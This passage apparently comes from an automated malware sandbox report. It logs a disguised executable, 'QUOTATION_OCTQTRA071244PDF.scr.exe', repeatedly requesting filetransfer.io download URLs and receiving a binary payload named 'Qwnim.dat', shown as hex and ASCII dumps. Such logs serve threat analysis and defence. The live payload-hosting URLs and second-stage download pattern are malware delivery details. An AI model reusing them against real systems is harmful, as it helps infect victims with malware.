JrXp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 04 db 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af Data Ascii: }Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSU
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 6f 80 b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 Data Ascii: oLB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 83 5e 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 Data Ascii: ^#IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+V
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: fd 11 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 Data Ascii: 8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 7c 85 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c Data Ascii: \|u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0
2024-10-04 09:26:13 UTC	1369	IN	Data Raw: 3d b3 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb Data Ascii: =$dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50264	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:15 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:16 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=3vl610mou0ns8p0euqn9h270ug; expires=Fri, 18-Oct-2024 09:26:16 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/RQn9FsWdafFG CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FroTEum7mhFP7XDlYAZOO8YDLoRR5Agr17RAWqcNY102VuMcyMRzSC7KdsL9rTQmfirJUNQ2l%2F4zTP%2BdlT95tPg%2BNJSu9Vt72l7PxgQqH9MwaFMr4uP%2BBxE2NtQVjfWbmpw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4211dff16c47f-EWR
2024-10-04 09:26:16 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 52 51 6e 39 46 73 57 64 61 66 46 47 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/RQn9FsWdafFG">Please click here to continue</a>.</p>
2024-10-04 09:26:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50265	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:16 UTC	98	OUT	GET /storage/download/RQn9FsWdafFG HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:17 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:17 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=23e01238905fcd30585e976101962113; expires=Fri, 18-Oct-2024 09:26:17 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fQE0z2G3VnkUqUiAAoCoGVsDjKriv1ReThTjHnS1Hp%2FZJXLpY5NqoumsTmwhkkvomTao6Kc3o4VK7GA8tBFH2VXDnsdb3A5Vol%2Fv%2BXaA2NB4wIP0NQRy6n6iqQpr%2FUiBQDrR1%2BKx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421243c608cee-EWR
2024-10-04 09:26:17 UTC	345	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da Data Ascii: K>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb Data Ascii: wH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdx
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd dc d3 04 7b d2 73 ee 7a a1 e9 79 44 8d ee 27 59 11 fe 46 85 4c 66 bc 05 25 80 3c e7 d5 d9 Data Ascii: &J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,{szyD'YFLf%<
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 2f 5c 72 c2 c7 d0 6a 4e 1c d6 8d 3c d0 bf a2 42 85 62 96 53 55 b1 a9 af 98 12 50 90 a8 e0 Data Ascii: Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE/\rjN<BbSUP
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d 9f 55 57 1b 7f fb ac a7 0e d4 25 b2 da 59 6a 4d 26 a9 0a 7c 71 4e 8c 75 5b 28 4f da ae f7 Data Ascii: B4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnMUW%YjM&\|qNu[(O
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df 46 57 a4 ec c0 f5 4e 55 37 b7 7d cd f8 67 9b 74 d0 a9 02 3c 96 2b e8 56 09 13 ef e2 73 4a Data Ascii: Sv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)FWNU7}gt<+VsJ
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa 5d bb 13 2f 3e ff fc 08 a7 5d 18 ff 1f 4b 26 89 4d 2b ca 0e 03 dd 00 77 ca 30 95 aa 67 a2 Data Ascii: BjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i]/>]K&M+w0g
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 b6 ca 6e dc 7a f7 eb 7d 9b 16 0e c9 81 69 2d 56 d4 ce 95 c9 7f 1c 30 9c 91 ef fe 58 97 d4 Data Ascii: ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0X
2024-10-04 09:26:17 UTC	1369	IN	Data Raw: 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd Data Ascii: Nc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50268	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:20 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:21 UTC	1106	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=5ujr9ck7jsog9lalbi585s3dra; expires=Fri, 18-Oct-2024 09:26:20 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/f5l4KzAPcLFN CF-Cache-Status: DYNAMIC Report-To: 